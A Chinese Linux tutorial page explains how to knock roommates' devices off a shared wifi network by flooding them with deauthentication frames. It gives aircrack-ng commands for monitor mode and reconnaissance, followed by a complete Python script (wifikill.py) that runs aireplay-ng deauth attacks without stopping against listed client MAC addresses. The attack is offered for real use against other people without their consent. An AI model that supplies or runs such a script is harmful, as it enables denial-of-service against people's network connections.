学Linux - 上红联!
Linux系统教程_红联Linux门户
Linux帮助

Linux下断掉占网速的wifi连接

时间:2017-03-07来源:linux网站 作者:CodesWorld
有人不停下载?
大家共用一个wifi的时候,总有人喜欢下载、看视频,卡得别人上网上得非常不爽。
但是修改wifi密码,会被骂;直接在路由器上设置限速,说不定一会又被改回去了。
这里提供一种,通过自己的电脑网卡发送解除认证报文的方式,让占网速的室友连不上wifi。
 
准备工作
1.一个USB无线网卡(如果你自己用的是有线就可以直接使用内置的无线网卡),我在这里使用的是小米随身wifi,20块左右搞定;
Linux下断掉占网速的wifi连接
2.Linux 操作系统,后面所有的操作都是在linux下进行的(我自己日常使用的就是Ubuntu),建议内核版本在4.4以上,集成了更多的USB无线网卡驱动 ;
3.安装 python3(Ubuntu上已默认安装);
4.安装 aircrack-ng;
sudo apt install aircrack-ng 
 
获取信息
1.USB(内置)无线网卡接口名,在Linux终端中通过ifconfig查看(一般插上无线网卡后就会显示),这里使用的”wlan1”
Linux下断掉占网速的wifi连接
2.获取路由器的MAC地址 和 wifi信道
1].直接登录路由器查看;
2].通过aircrack-ng 获取, 根据显示的ESSID找MAC地址(BSSID)和wifi信道(CH)
sudo ifconfig wlan1 down
sudo iwconfig wlan1 mode monitor
sudo ifconfig wlan1 up 
sudo airodump-ng wlan1
Linux下断掉占网速的wifi连接
3.获取要断掉设备的MAC地址
1].直接登录路由器查看
2].通过arp表获取, ping一下要断掉的设备
Linux下断掉占网速的wifi连接
 
开始断网
1].打开任意编辑器,将附录中的代码粘贴进去。
2].根据前面获取的信息修改开头部分的 iface, bssid, channel, clients
3].保存文件为wifikill.py(或你喜欢的名字)
4].给文件添加可执行权限
chmod u+x wifikill.py
5].开始断网
sudo ./wifikill.py
 
实际效果
自己在家里做的试验,路由器使用的极路由,这里直接登录查看设备连接情况。
程序运行前
Linux下断掉占网速的wifi连接
运行程序断掉” 小米4”和”魅族MX4”。
Linux下断掉占网速的wifi连接
 
附录(wifikill.py)
#! /usr/bin/python3
import os, sys, time
import threading
# 无线网卡名
iface  = 'wlan1'
# 路由器mac地址
bssid  = 'D4:EE:07:2E:6F:EA'
# 路由器的channel
channel = 11
# 要干掉的设备的mac地址
# '设备名':'设备MAC'
#  其中'设备名'是为了方便记忆,可以任意填写
clients = {
'Mi4': '58:44:98:16:2B:0E', 
'MX4': '00:08:22:C0:33:6E'
}
def iface_init():
'''
初始化网卡, 设置网卡为监听模式
'''
if os.system("ifconfig {} down".format(iface)) != 0:
raise RunTimeError
if os.system("iwconfig {} mode monitor".format(iface)) != 0:
raise RunTimeError
if os.system("ifconfig {} up".format(iface)) != 0:
raise RunTimeError
if os.system("iwconfig {} channel {:02d}".format(iface, channel)) != 0:
raise RunTimeError
def send_deauth(client_name):
'''
向指定设备循环发送解除认证报文
'''
print('Sending deauth to {}, mac: {}'.format(client_name, clients[client_name]))
cmd = 'aireplay-ng -a {} -c {} --deauth 0 {} > /dev/null'.format(bssid, clients[client_name], iface)
os.system(cmd)
print('Stop send to {}'.format(client_name))
class WifiKill(threading.Thread):
'''
创建一个被禁止连接wifi的设备的对象
'''
def __init__(self, client_name):
threading.Thread.__init__(self)
self.client_name = client_name
def run(self):
send_deauth(self.client_name)
def main():
if os.getuid() != 0:
print("Please run as root\r\n")
sys.exit(1)
try:
iface_init()
except:
print("{} init failed".format(iface))
sys.exit(1)
for name, mac in clients.items():
my_task = WifiKill(name) 
my_task.start()
if __name__ == '__main__':
main()
 
本文永久更新地址:http://www.linuxdiyf.com/linux/28972.html
------分隔线------